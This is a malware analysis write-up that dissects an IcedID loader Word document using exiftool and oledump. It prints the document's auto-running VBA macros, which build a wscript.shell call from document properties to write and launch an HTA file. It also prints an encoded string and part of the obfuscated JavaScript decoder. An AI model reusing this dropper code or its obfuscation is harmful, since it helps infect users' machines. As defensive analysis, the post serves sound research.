Analyzing an IcedID Loader Document
Published: 2022-01-01 · Archived: 2026-04-05 19:53:53 UTC
In this post I’m going to walk through an analysis of a malicious document that distributes and executes an IcedID DLL
payload.
The original document can be found on MalwareBazaar here:
https://bazaar.abuse.ch/sample/ecd84fa8d836d5057149b2b3a048d75004ca1a1377fcf2f5e67374af3a1161a0/
Analyzing the Document
We can start off by looking at the document properties with exiftool .
https://forensicitguy.github.io/analyzing-icedid-document/
Page 1 of 9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
remnux@remnux:~/cases/icedid$ exiftool maldoc.doc
ExifTool Version Number : 12.30
File Name : maldoc.doc
Directory : .
File Size : 78 KiB
File Modification Date/Time : 2022:01:01 00:52:52-05:00
File Access Date/Time : 2021:12:31 20:06:54-05:00
File Inode Change Date/Time : 2021:12:31 19:54:10-05:00
File Permissions : -rw-r--r--
File Type : DOC
File Type Extension : doc
MIME Type : application/msword
Identification : Word 8.0
Language Code : English (US)
Doc Flags : Has picture, 1Table, ExtChar
System : Windows
Word 97 : No
Title :
Subject :
Author :
Keywords :
Comments : ta
Template : Normal
Last Modified By : Пользователь Windows
Software : Microsoft Office Word
Create Date : 2021:12:27 11:02:00
Modify Date : 2021:12:27 11:02:00
Security : None
Code Page : Windows Cyrillic
Category : explorer
Manager :
Company : ript.sh
Bytes : 26624
Char Count With Spaces : 16233
App Version : 16.0000
Scale Crop : No
Links Up To Date : No
Shared Doc : No
Hyperlinks Changed : No
Title Of Parts :
Heading Pairs : Название, 1
Comp Obj User Type Len : 32
Comp Obj User Type : �������� Microsoft Word 97-2003
Last Printed : 0000:00:00 00:00:00
Revision Number : 2
Total Edit Time : 0
Words : 116
Characters : 16118
Pages : 1
Paragraphs : 1
Lines : 65
We can see a few parts of the document properties are weird, like Company containing ript.sh . From here we can usually
assume some form of a macro or exploit is involved, so we can use oledump.py to investigate macros first.
1
2
3
4
5
6
7
8
9
10
remnux@remnux:~/cases/icedid$ oledump.py maldoc.doc
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 7224 '1Table'
5: 26648 'Data'
6: 398 'Macros/PROJECT'
7: 56 'Macros/PROJECTwm'
8: M 2420 'Macros/VBA/ThisDocument'
9: 2896 'Macros/VBA/_VBA_PROJECT'
https://forensicitguy.github.io/analyzing-icedid-document/
Page 2 of 9
11
12
13
14
15
16
17
10: 1708 'Macros/VBA/__SRP_0'
11: 241 'Macros/VBA/__SRP_1'
12: 983 'Macros/VBA/__SRP_2'
13: 364 'Macros/VBA/__SRP_3'
14: 553 'Macros/VBA/dir'
15: M 1103 'Macros/VBA/main'
16: 19522 'WordDocument'
The output from oledump.py indicates streams 8 and 15 contain macro content, so let’s dive into those. Using oledump.py
-v -s 8 and -s 15 we can get the contents of the macros. I’ve annotated the macros with contents below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'contents() finds contents of the document and removes all instances of s3x
Function contents()
With ActiveDocument.Content
superI7Center = .Find.Execute(FindText:="s3x", ReplaceWith:="", Replace:=2)
End With
End Function
'cont1() returns the specified document property (which is visible with exiftool)
Function cont1(i7ComputerMonitor)
cont1 = ActiveDocument.BuiltInDocumentProperties(i7ComputerMonitor).Value
contents
End Function
'srn1() runs "CreateObject("wscript.shell").exec Explorer i7Gigabyte.hta"
Public Function srn1(mouseVideo)
CreateObject("wsc" + cont1("company") + "ell").exec cont1("category") + " " + mouseVideo
End Function
Sub Document_Open()
hny
End Sub
...
Attribute VB_Name = "main"
'hny() saves the content of the document to i7Gigabyte.hta and executes the contents.
Public Sub hny()
processorI9 = Trim("i7Gigabyte.h" & ThisDocument.cont1("comments"))
ActiveDocument.SaveAs2 FileName:=processorI9, FileFormat:=2
ThisDocument.srn1 processorI9
End Sub
The VB macros use these document properties:
1
2
Comments : ta
Category : explorer
https://forensicitguy.github.io/analyzing-icedid-document/
Page 3 of 9
3 Company : ript.sh
From the macro content, we can expect a few things:
i7Gigabyte.hta will get written to disk
MS Word will execute explorer i7Gigabyte.hta
i7Gigabyte.hta will contain HTML content and likely some JavaScript
To get the document content, we can use oledump.py -s 16 and run strings against its output:
1
2
3
4
remnux@remnux:~/cases/icedid$ oledump.py -d -s 16 maldoc.doc | strings
bjbj
s3xs3x
eval
fX17KWUoaGN0YWN9O2Vzb2xjLnh0Um9lZGlWZWxiYXQ7KTIgLCJncGouN0lldHliYWdpZ1xcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZvdGV2YXMu
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
while(cardRtxCard < processorMonitorSuper.length){
notebookMouseComputer = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));
gigabyteTableComputer = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));
processorGigabyte = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));
tableCenter = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));
superProcessorI9 = (notebookMouseComputer << 2) | (gigabyteTableComputer >> 4);
cardKeyboard = ((gigabyteTableComputer & 15) << 4) | (processorGigabyte >> 2);
computerComputerSuper = ((processorGigabyte & 3) << 6) | tableCenter;
videoSuper = videoSuper + String.fromCharCode(superProcessorI9);
if(processorGigabyte != 64){
videoSuper = videoSuper + String.fromCharCode(cardKeyboard);
}
if(tableCenter != 64){
videoSuper = videoSuper + String.fromCharCode(computerComputerSuper);
}
}
return(videoSuper);
}
function i7AsusVideo(i7Processor){
return i7Processor.split('').reverse().join('');
}
function monitorMonitorRtx(processorAsus){
return(i7AsusVideo(tableI9I9(processorAsus)));
}
function asusProcessorMonitor(processorAsus, centerNotebook){
return(processorAsus.split(centerNotebook));
}
cardTableMonitor = window;
tableNotebook = document;
cardTableMonitor['moveTo'](-101, -102);
var tableRtx = cardI9Processor('rtxI7').split("---");
var cardComputerMonitor = monitorMonitorRtx(tableRtx[0]);
var rtxI7Super = monitorMonitorRtx(tableRtx[1]);